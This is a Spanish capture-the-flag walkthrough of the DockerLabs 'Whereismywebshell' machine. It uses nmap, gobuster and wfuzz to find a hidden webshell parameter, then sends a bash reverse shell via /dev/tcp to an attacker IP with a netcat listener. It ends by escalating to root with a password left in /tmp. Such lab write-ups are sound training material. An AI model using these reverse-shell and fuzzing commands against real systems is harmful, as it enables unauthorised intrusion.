Whereismywebshell , DockerLabs
En este reto de DockerLabs encontramos con escaneo de puertos para buscar una entrada al sistema , fuzzing de directorios y de parametros y por ultimo escalada.
Herramientas y recursos usados
- nmap
- wfuzz
Enumeracion
Empezamos lanzando un nmap contra el objetivo .
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv 172.17.0.2 -oX whereis
Revisamos la web a ver que encontramos es una web de una academia mientras le miramos el codigo lanzamos gobuster.
Vamos directos a gobuster
1
gobuster -q dir -w /usr/share/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://172.17.0.2/cmsms --exclude-length 3690
La salida nos arroja varios archivos prometedores ,el warning y lo que be ser una webshell. Primero miro el warning por si nos dijera algo , no arroja luz de ningun tipo asi que caragmos shell php y vemos una pagina en blanco, en este punto vamos a fuzzear la palabra que nos falta para poder ejecutar comandos remotos. Asi que vamos a fuzzear con wffuz.
1
wfuzz -c --hl=0 -t 200 -w /usr/share/dict/wordlist-probable.txt -u "http://172.17.0.2/shell.php?FUZZ=id"
Una vez obtenido el parametro pasamos a probar si podemos ejecutar comandos.
Resultado positivo , mandemos una rev shell. Ejecutamos lo siguiente pero primero nectact a la escucha.
1
2
sudo nc -lvnp 443
En la webshell
1
bash -c "bash -i >& /dev/tcp/192.168.0.112/443 0>&1"
Recepcion
Escalada
Lo primero una vez reciba la revshell le aplicamos tratamiento.
1
script /dev/null -c bash
La mandamos al background con control-Z.
1
2
export TERM=xterm
export SHELL=bash
Si queremos ajustarla al maximo debemos indicarle el numero de lineas y columnas de nuestra terminal .
Para ver el numero de line y columms de nuestra term ejecutamos respectivamente
1 echo $LINES y echo $COLUMMS
Ya configurada empezamos a mirar con sudo -l y find. Ninguno nos devuelve nada y ahi recorde que hemos de acostumbrarnos a mirar hacia atras y recordar todo lo que mos hemos ido encontando en la maquina. La memoria me decia que guardaba un secreto en /tmp/ , asi que vamos a mirar que nos dejaron.
1
2
cd /tmp/
ls -la
La puso facil esta vez.
1
su
Saludos y muchas gracias por leer, pueden comentar dudas o si la han resuleto de otra forma debatamos cual metodo es mas eficaz.
Comments powered by Disqus.